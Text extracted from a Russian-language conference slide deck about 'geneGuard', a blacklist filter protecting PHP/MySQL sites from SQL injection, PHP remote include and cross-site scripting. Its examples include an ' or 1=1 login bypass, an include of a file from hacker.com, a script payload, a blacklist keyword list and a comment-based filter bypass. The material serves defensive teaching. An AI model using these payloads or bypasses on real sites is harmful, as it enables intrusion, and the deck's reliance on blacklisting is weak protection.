
d0689f306355318815355b0d0173070e.ppt
- Количество слайдов: 20
Опыт создания автоматизированной системы защиты сайта, разработанного на языке программирования PHP с использованием сервера баз данных My. SQL, от атак типа SQLинъекция, PHP-инъекция и межсайтовый скриптинг Приходько Максим Александрович
PHP + My. SQL – наиболее распространенные технологии при разработке web-сайтов PHP Web-сайт + СУБД My. SQL
Наиболее распространенные атаки • SQL-инъекция • PHP-инъекция • межсайтовый скриптинг (CSS)
SQL-инъекция select count(*) from members where username=‘$login’ and password=‘$pass’
SQL-инъекция select count(*) from members where username=‘$login’ and password=‘$pass’ $pass=“’ or 1=1 ”
SQL-инъекция select count(*) from members where username=‘$login’ and password=‘$pass’ $pass=“’ or 1=1 ” select count(*) from members where username=‘$login’ and password=‘$pass’ or 1=1
PHP-инъекция www. site. com/index. php? module=link + include($module. ”. php”) = include(”link. php”)
PHP-инъекция $module=“http: //hacker. com/file” include($module. ”. php”) = include(” http: //hacker. com/file. php”)
Межсайтовый скриптинг (CSS) $value=“<script>alert(‘ 1’); </script>” echo $value; =
Система безопасности gene. Guard Автоматизированно обрабатывает все переменные, передаваемые странице методами Get и Post Анализирует и фильтрует их значения по принципу «черного списка» Обнаруживает, протоколирует и блокирует атаки трех основных типов
Принцип работы $val=“<script>alert(‘ 1’); …” $mdw_words[0] $mdw_words[1] $mdw_words[2] $mdw_words[3] $mdw_words[4] $mdw_words[5] $mdw_words[6] $mdw_words[7] = = = = "select"; # select "insert"; # insert "update"; # update "delete"; # delete "order by"; # order by "where"; # where "from"; # from "union"; # union $mdw_words[8] = “ <script> $mdw_words[9] = "/script"; # /script $mdw_words[10] = "cookie"; # cookie $val=“”
Принцип фильтрации Межсайтовый скриптинг - <script> и </script> PHP-инъекция – первые 4 символа переменной совадают с “http” – к переменной добавляется слово «ссылка: » SQL-инъекция – ряд запрещенных слов и сигнальных символов
Унификация Переменная s. Cr%69 P%74 Преобразование HEX-кодов s C r i Pt Преобразование регистра script
«Обход» фильтра SQL-инъекция: s/*comment*/elect
«Обход» фильтра SQL-инъекция: s/*comment*/elect $mdw_words[0] $mdw_words[1] $mdw_words[2] $mdw_words[3] $mdw_words[4] $mdw_words[5] $mdw_words[6] $mdw_words[7] = = = = $mdw_words[8] = "select"; # select "insert"; # insert "update"; # update "delete"; # delete "order by"; # order by "where"; # where "from"; # from "union"; # union /* $mdw_words[9] = "/script"; # /script $mdw_words[10] = "cookie"; # cookie $val=“”
Система безопасности gene. Guard Внедрена на 4 web-сайтах
Система безопасности Обнаруживает, протоколирует и блокирует атаки
Система безопасности Протоколирует действия пользователей
Выводы • система безопасности с фильтрацией по принципу «черного списка» не приводит к излишне «жесткой» фильтрации в условиях использования ее на русскоязычном сайте и может быть использована без изменений для защиты сайтов различной тематики • существующие методики обхода систем безопасности, построенных по принципу «черного списка» , естественным образом предлагают механизмы защиты, которые встраиваются в единую технологию путем добавления специального вида запрещенных слов, используемых для сокрытия атак
Спасибо за внимание
d0689f306355318815355b0d0173070e.ppt